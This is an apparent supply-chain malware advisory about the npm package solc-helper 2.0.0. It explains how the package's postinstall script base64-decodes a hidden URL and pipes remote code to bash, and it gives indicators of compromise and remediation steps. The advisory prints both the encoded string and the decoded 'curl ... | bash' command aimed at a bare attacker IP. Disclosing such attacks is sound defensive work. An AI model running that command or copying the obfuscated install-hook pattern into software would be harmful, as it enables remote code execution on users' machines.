Malicious code in solc-helper (npm)
The npm package solc-helper version 2.0.0 contains malicious code in its postinstall lifecycle script that downloads and executes arbitrary shell code from an attacker-controlled server. Every installation triggers an unattended download-and-execute of remote code via curl piped to bash from a bare IP address over plaintext HTTP.
- Disclosed
- Last updated
- Blast radius
- All npm users who installed solc-helper, particularly version 2.0.0
- Ecosystems
- Attack vectors
- Affected entities
- solc-helper · 2.0.0
The npm package solc-helper version 2.0.0 was identified as malicious by both Amazon Inspector and the OpenSSF Package Analysis project. The package contains a postinstall lifecycle script that executes node -e to base64-decode a hidden URL and pipe its contents to bash.
The malicious script decodes Buffer.from('aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=','base64').toString() to reveal the command curl -s http://8.217.75.147:3000/payload | bash. This causes every npm install solc-helper to trigger an unattended download and execution of attacker-controlled shell code from a bare IP address over plaintext HTTP, with no integrity verification.
Multiple indicators of malicious intent are present: use of a bare-IP command-and-control server, plaintext HTTP transmission, base64 obfuscation of the URL within a lifecycle hook, the curl | bash pattern, and no legitimate functionality advertised by the package to justify any network activity.
The package has been identified and flagged by security researchers. Users should immediately uninstall solc-helper and audit their systems for compromise.
Indicators of compromise
- Packages
- solc-helper
- IPs
- 8.217.75.147
Remediation
- Immediately uninstall solc-helper from all systems: npm uninstall solc-helper
- Audit systems that installed solc-helper for signs of compromise or unauthorized activity
- Review npm install logs to identify when solc-helper was installed and what systems were affected
- Consider the installation as a potential compromise event and perform security incident response procedures
- Block outbound connections to 8.217.75.147:3000 at the network level
- Use npm audit to check for other malicious packages in your dependency tree
Sources
- GitHub Advisory GHSA-8mmw-f9x4-8m2v · GitHub Advisory Database
Cite this entry
"Malicious code in solc-helper (npm)." supplychainattack.org, Supply Chain Attack Incident Catalog. Disclosed July 27, 2026; last updated July 27, 2026. https://supplychainattack.org/incident/malicious-code-in-solc-helper-npm-qf1brk
Suggest a correction
Found an error or have a newer source? Corrections to factual errors take priority over new entries.
Related incidents
- activecritical
Malware in edu-npm-dependency-chain-demo
Malware discovered in the npm package edu-npm-dependency-chain-demo. Systems with this package installed are considered fully compromised and require immediate remediation.
npmCompromised package - containedcritical
Malware in roblox-api-client
Malware was discovered in the npm package roblox-api-client, resulting in full system compromise for any computer with the package installed or running. The advisory recommends immediate removal of the package and rotation of all secrets and keys from a different computer.
npmCompromised package - containedcritical
Malware in jextic-eclib
Malware was discovered in the npm package jextic-eclib, resulting in full system compromise of any computer with the package installed or running. All secrets and keys on affected systems should be rotated immediately from a different computer.
npmCompromised package - activecritical
Malware in @thone33/analytics-injector
Malware discovered in the npm package @thone33/analytics-injector. Systems with this package installed are considered fully compromised and require immediate remediation.
npmCompromised package